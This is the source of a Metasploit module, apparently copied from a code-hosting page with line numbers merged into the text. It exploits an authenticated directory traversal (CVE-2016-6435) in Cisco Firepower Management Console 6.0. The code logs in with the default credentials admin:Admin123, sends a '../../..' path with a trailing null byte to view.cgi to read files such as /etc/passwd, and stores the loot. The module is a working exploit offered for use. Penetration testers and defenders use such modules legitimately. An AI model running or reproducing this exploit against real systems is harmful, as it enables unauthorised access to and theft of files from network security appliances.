Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/auxiliary/scanner/http/cisco_firepower_download.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Auxiliary6include Msf::Auxiliary::Scanner7include Msf::Auxiliary::Report8include Msf::Exploit::Remote::HttpClient910def initialize(info={})11super(update_info(info,12'Name' => "Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal",13'Description' => %q{14This module exploits a directory traversal vulnerability in Cisco Firepower Management15under the context of www user. Authentication is required to exploit this vulnerability.16},17'License' => MSF_LICENSE,18'Author' =>19[20'Matt', # Original discovery && PoC21'sinn3r', # Metasploit module22],23'References' =>24[25['CVE', '2016-6435'],26['URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking']27],28'DisclosureDate' => '2016-10-10',29'DefaultOptions' =>30{31'RPORT' => 443,32'SSL' => true,33'SSLVersion' => 'Auto'34}35))3637register_options(38[39# admin:Admin123 is the default credential for 6.0.140OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']),41OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']),42OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']),43OptString.new('FILEPATH', [false, 'The name of the file to download', '/etc/passwd'])44])45end4647def do_login(ip)48console_user = datastore['USERNAME']49console_pass = datastore['PASSWORD']50uri = normalize_uri(target_uri.path, 'login.cgi')5152print_status("Attempting to login in as #{console_user}:#{console_pass}")5354res = send_request_cgi({55'method' => 'POST',56'uri' => uri,57'vars_post' => {58'username' => console_user,59'password' => console_pass,60'target' => ''61}62})6364unless res65fail_with(Failure::Unknown, 'Connection timed out while trying to log in.')66end6768res_cookie = res.get_cookies69if res.code == 302 && res_cookie.include?('CGISESSID')70cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first71vprint_status("CGI Session ID: #{cgi_sid}")72print_good("Authenticated as #{console_user}:#{console_pass}")73report_cred(ip: ip, user: console_user, password: console_pass)74return cgi_sid75end7677nil78end7980def report_cred(opts)81service_data = {82address: opts[:ip],83port: rport,84service_name: 'cisco',85protocol: 'tcp',86workspace_id: myworkspace_id87}8889credential_data = {90origin_type: :service,91module_fullname: fullname,92username: opts[:user],93private_data: opts[:password],94private_type: :password95}.merge(service_data)9697login_data = {98last_attempted_at: DateTime.now,99core: create_credential(credential_data),100status: Metasploit::Model::Login::Status::SUCCESSFUL,101proof: opts[:proof]102}.merge(service_data)103104create_credential_login(login_data)105end106107def download_file(cgi_sid, file)108file_path = "../../..#{Rex::FileUtils.normalize_unix_path(file)}\x00"109print_status("Requesting: #{file_path}")110send_request_cgi({111'method' => 'GET',112'cookie' => "CGISESSID=#{cgi_sid}",113'uri' => normalize_uri(target_uri.path, 'events/reports/view.cgi'),114'vars_get' => {115'download' => '1',116'files' => file_path117}118})119end120121def remote_file_exists?(res)122(123res.headers['Content-Disposition'] &&124res.headers['Content-Disposition'].match(/attachment; filename=/) &&125res.headers['Content-Type'] &&126res.headers['Content-Type'] == 'application/octet-stream'127)128end129130def save_file(res, ip)131fname = res.headers['Content-Disposition'].scan(/filename=(.+)/).flatten.first || File.basename(datastore['FILEPATH'])132133path = store_loot(134'cisco.https',135'application/octet-stream',136ip,137res.body,138fname139)140141print_good("File saved in: #{path}")142end143144def run_host(ip)145cgi_sid = do_login(ip)146147unless cgi_sid148fail_with(Failure::Unknown, 'Unable to obtain the cookie session ID')149end150151res = download_file(cgi_sid, datastore['FILEPATH'])152153if res.nil?154print_error("Connection timed out while downloading: #{datastore['FILEPATH']}")155elsif remote_file_exists?(res)156save_file(res, ip)157else158print_error("Remote file not found: #{datastore['FILEPATH']}")159end160end161end162163164